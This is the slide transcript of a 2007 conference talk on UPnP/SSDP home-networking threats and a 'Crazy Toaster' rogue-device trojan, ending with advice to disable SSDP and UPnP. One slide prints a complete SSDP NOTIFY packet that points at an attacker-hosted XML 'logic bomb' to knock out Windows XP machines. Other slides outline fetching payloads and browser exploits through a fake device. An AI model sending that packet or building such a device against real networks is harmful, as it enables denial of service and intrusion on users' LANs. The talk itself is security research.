Transcript Slide 1

“A Crazy Toaster :
Can Home Devices turn against us?”
Dror Shalev
SmartDefense Research Center
[email protected]
ClubHack, 9/12/2007, Puna , India
India's own International Hackers Convention
©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential.
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Agenda
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Introduction
Trust, technology and new privacy issues
Overview of home networking and early threats
Steps to create a Crazy Toaster Trojan
Demonstration
Side effect : Windows XP SSDP distributed Dos
Side effect Demonstration
TODO, Extended ideas
iPhone , iToaster & others (ClubHack edition)
Respect
Q&A
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©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential.
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Introduction
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Introduction
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Mission: World domination via single UDP packet 
Do we care if our home Toaster sees us Naked?
Can Home Devices turn against us, spy on our Network?
Privacy and trust issues raised by technology,
New hardware & Cool devices
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Trust, technology & privacy issues
 Common privacy issues:
– Technology is about to replace the trust model we use today
– People get confused between people that know things and
machines that know things
– Do we care if Google machines know that we would like to pay
for porn?
– Does this information can be given to a human?
 Trust models:
– Usually we don’t trust a human in 100% to be able to deal with
his knowledge about us
– Should we trust corporations like Google?
– Should we trust hardware and software vendors?
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Overview of home networking
 Home networking in Windows XP and in Windows Vista
 Peer-to-peer networking of PCs, networked appliances
and wireless devices
 UPnP architecture
 UPnP ,Overview of a distributed, open architecture
based on TCP/IP, UDP and HTTP
 IPv6 – Reintroduce old exploits (land attack MS06-064)
 Security exploits and early threats
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Overview of home networking
 In Vista’s Network Explorer (the replacement to XP’s
Network Neighborhood), devices are discovered using
function discovery
 Function discovery can find devices using much more
efficient, diverse and robust protocols than were available
in XP’s Network Neighborhood
 These protocols include NetBios, UPnP/SSDP, and Web
Services Discovery (WSD)
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Overview of home networking
 Home networking in Windows Vista
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Windows Peer-to-Peer Networking
People Near Me (PNM)
Network discovery
Media sharing
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Overview of home networking
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Overview of home networking
Hacker
Webpage with virus
Media Center
Crazy Toaster
Wireless Connectivity
VoIP
Low-end Appliance
Wireless Access Point
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Cell phone
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Universal Plug and Play (UPnP)
 The UPnP architecture is a distributed, open networking
architecture that leverages TCP/IP and the Web to enable
seamless proximity networking in addition to control and
data transfer among networked devices in the home, office,
and everywhere in between
 What are the benefits of UPnP technology?
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Media and device independence. UPnP technology can run on any network technology including
Wi-Fi, coax, phone line, power line, Ethernet and 1394.
Platform independence. Vendors can use any operating system and any programming language
to build UPnP products.
Internet-based technologies. UPnP technology is built upon IP, TCP, UDP, HTTP, and XML,
among others.
UI Control. UPnP architecture enables vendor control over device user interface and interaction
using the browser.
Programmatic control. UPnP architecture enables conventional application programmatic control.
Common base protocols. Vendors agree on base protocol sets on a per-device basis.
Extendable. Each UPnP product can have value-added services layered on top of the basic
device architecture by the individual manufacturers.
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UPnP, IGDs, SSDP on XP
 UPnP is a collection of standards and protocols that permits Windows
to provide discovery and interoperability between a wide variety of
Universal Plug and Play network devices
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When connected to a network, UPnP devices immediately provide their services and use other
services on the network
Such devices may include anything from standard computing equipment to kitchen appliances
and home entertainment systems
By default, the UPnP client is not installed
 The Internet Gateway Device Discovery and Control Client permits
Windows to detect and interact with Internet gateway devices (IGDs)
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IGDs include routers and computers running Internet Connection Sharing. Such devices can
support detection by either UPnP or the Internet Gateway Device Discovery and Control Client
IDG devices use the Simple Service Discovery Protocol (SSDP) to broadcast their availability on
the network
This permits clients to automatically locate the IDG device and use the device as their default
gateway for external network access
By default, the Internet Gateway Device Discovery and Control Client is installed
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Simple Service Discovery Protocol (SSDP)
 On a default XP installation, no support is added for device
control, as it would be the case in an installation of UPNP
from "Network Services“
 Although Microsoft added default support for an
"InternetGatewayDevice", that was added to aid leading
network hardware manufactures in making UPnP enabled
"gateway devices"
Wireless Access Point
Desktop
Retrieving Device and Service Descriptions
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Early threats
Vulnerability
Date
Severity
Apple Mac OS X mDNSResponder Remote Buffer Overflow
2007-05-24
High
Microsoft Windows UPnP Remote Stack Buffer Overflow [MS07-019]
2007-04-10
Critical
Linksys WRT54GX V2.0 WAN Port UPnP
2006-10-11
Mid
Armijn Hemel
Multiple D-Link Routers UPNP Buffer Overflow
2006-07-24
High
Barnaby Jack , eEye
Microsoft Windows Plug and Play Vulnerability / Zotob worm [MS05-039]
2005-08-05
Critical
Belkin 54G Wireless Router Multiple Vulnerabilities
2005-03-17
Mid
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Multiple Linksys Routers Gozila.CGI Denial Of Service
2004-06-02
Mid
Alan McCaig , b0f
Xavi DSL Router UPNP Long Request Denial Of Service
2003-07-22
Mid
David F. Madrid
Netgear FM114P ProSafe Wireless Router Rule Bypass
2003-04-02
High
Björn Stickler
Netgear FM114P ProSafe Wireless Router UPnP Information Disclosure
2003-04-02
Mid
Björn Stickler
Netgear FM114P Wireless Firewall File Disclosure
2003-02-09
Mid
Björn Stickler
Multiple Linksys Devices strcat() Buffer Overflow
2002-12-02
High
Gerardo Richarte , CORE
Linksys Router Unauthorized Management Access
2002-11-17
Mid
Seth Bromberger
Microsoft UPnP NOTIFY Buffer Overflow [MS01-059]
2001-12-19
Critical
Riley Hassell, eEye
Microsoft Universal Plug and Play Simple Service Discovery Protocol Dos
2001-12-19
Mid
Riley Hassell, eEye
Microsoft UPnP Denial of Service
2001-10-31
Low
'Ken' from FTU
Windows ME Simple Service Discovery Protocol Denial of Service
2001-10-17
Mid
milo omega
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Credit
Michael Lynn, Juniper
Greg MacManus, iDefense
Neel Mehta ,ISS X-Force
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Steps to create a Crazy Toaster Trojan
 While researching SSDP & UPnP we realized that
protocols allow not only routers, media players, servers
and other devices to connect seamlessly but also to
attackers
 A scenario of “Crazy Toaster ” , Trojan device , or software
with TCP/IP capabilities like Routers , Media Players ,
Access Points , that join Local area network and become
security hazard is possible
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Steps to create a Crazy Toaster Trojan
 Recipe : Building your own Trojan
 Needed Ingredients
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Toaster
Hardware :Any or none
Software : Select an UPnP Stack vendor sample (Intel ,Siemens)
Network Access to the victim’s network
(worm victim, multicast , social engineering ,physical access )
 Problems
– Heat
– Linux 2 Nokia IPSO porting
– Shipping
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Steps to create a Crazy Toaster Trojan
 Our Crazy Toaster will advertise its presence on victim
local network
 Trojan Discovery process uses :
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HTTPU (HTTP over UDP)
HTTPMU for UDP multicast ,to 239.255.255.250:1900
Sends HTTP packets to multiple (multicast) systems over UDP
Social engineering : declare as anything from standard
computing equipment to kitchen appliances and home
entertainment systems
 Presentation web server
– JavaScript , Ajax & browser bugs
– Use known techniques & exploits from the wild ( MPack )
– Retrieve attack payload from remote host
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Steps to create a Crazy Toaster Trojan
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Demonstration
 Physical run of “Crazy
Toaster” Trojan attack
 Physical run of advanced
attack vectors:
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Discovery
Presentation
Social engineering
Browser exploits
 Nokia IPSO 6 hardware
 Posix / Win sdk
 Crazy Toaster Demo
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Windows XP SSDP distributed Dos
 Side effect : Windows XP Simple Service Discovery
Protocol Distributed Denial of Service Vulnerability
 Single multicast UDP packet cause XP victims to Parse
well formatted xml document  recursive logic Bomb
 Memory Consumption – 100% CPU on entire lan segment
 Virtual memory page file going crazy
 Can be done via software ( spyware , worm )
 Distributed damage and possible attack vectors
 A remote attacker that resides on the lan segment
connected to the affected appliance/ Trojan may exploit
this vulnerability to deny service for all legitimate lan users
* MS will fix this in service pack 3 for XP
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Windows XP SSDP distributed Dos
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=9
LOCATION:http://AttackerInLanHost/upnp/trojan/ilya.xml
NT: urn: schemas-upnp-org:device:InternetGatewayDevice:1
NTS: ssdp:alive
SERVER: Drors/2005 UPnP/1.0 SVCHostDLLkiller/1.1
USN: uuid:CrazyToasterByDrorRespect2eEye
Xml Kill
Crazy Toaster
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Victim
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Side effect Demonstration
 Kitchen appliance in smart home become Crazy
 Physical run of Windows XP Simple Service Discovery
Protocol Distrusted Denial of Service Vulnerability
 Logic Bomb discovery in wired or wireless local network
 Demo Kill xml
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Conclusions
Cheap hardware appliances open a door for “bad guys”
Wireless Hardware & IPV6 opens new ball game
Trust no one (hardware & software vendors , free gifts)
Home devices can be target to remote attacks
(Buffer overflows, CSRF, XSS )
 The SSDP Discovery Service and Universal Plug and Play
Host service should both be set to disabled
 In Vista, disable ‘Network discovery’
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 Can Home Devices turn against us?
Oh yeah,
Home Devices are as bad as their software authors
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©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential.
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TODO, Extended ideas
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Arp poisoning , kernel bugs
Wireless hacking, WEP cracking,
Linux embedded systems , MIPS
Cell phone hacking , GPS , IPhone
Media centers , Game consoles
DivX worm , Copy Rights Bomb
Record sound , IP hidden Cam
IPV6
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©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential.
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iPhone , iToaster & Others
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Apple’s iPhone is a fine hardware (Wi-Fi, GSM, linux)
ARM-based processor ,with iPhone's version of OS X
Linux 2 OS X freeBSD porting, jailbreak firmware 1.0.2
Bonjour ,mDNSResponder , UDP port 5353 Multicast DNS
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 iDemo
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Respect
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ClubHack: India's own International Hackers' Convention
UPnP™ Forum
HackTheToaster.com
eEye
Project Cowbird , $30, 30 Minutes, 30 Networks
Exploiting embedded systems ,Barnaby Jack
UPnP Stack Vendors , Intel UPnP ,CyberLink, Siemens AG
OSGI alliance
Dog's Toaster Defcon 9
UPnP Hacks
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©2003-2007 Check Point Software Technologies Ltd. All rights reserved. Proprietary and confidential.
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Q&A
 Q: Why hack a toaster?
A: Why not?
* Slides ,Toaster and iToaster sources code :
http://www.drorshalev.com/dev/upnp/
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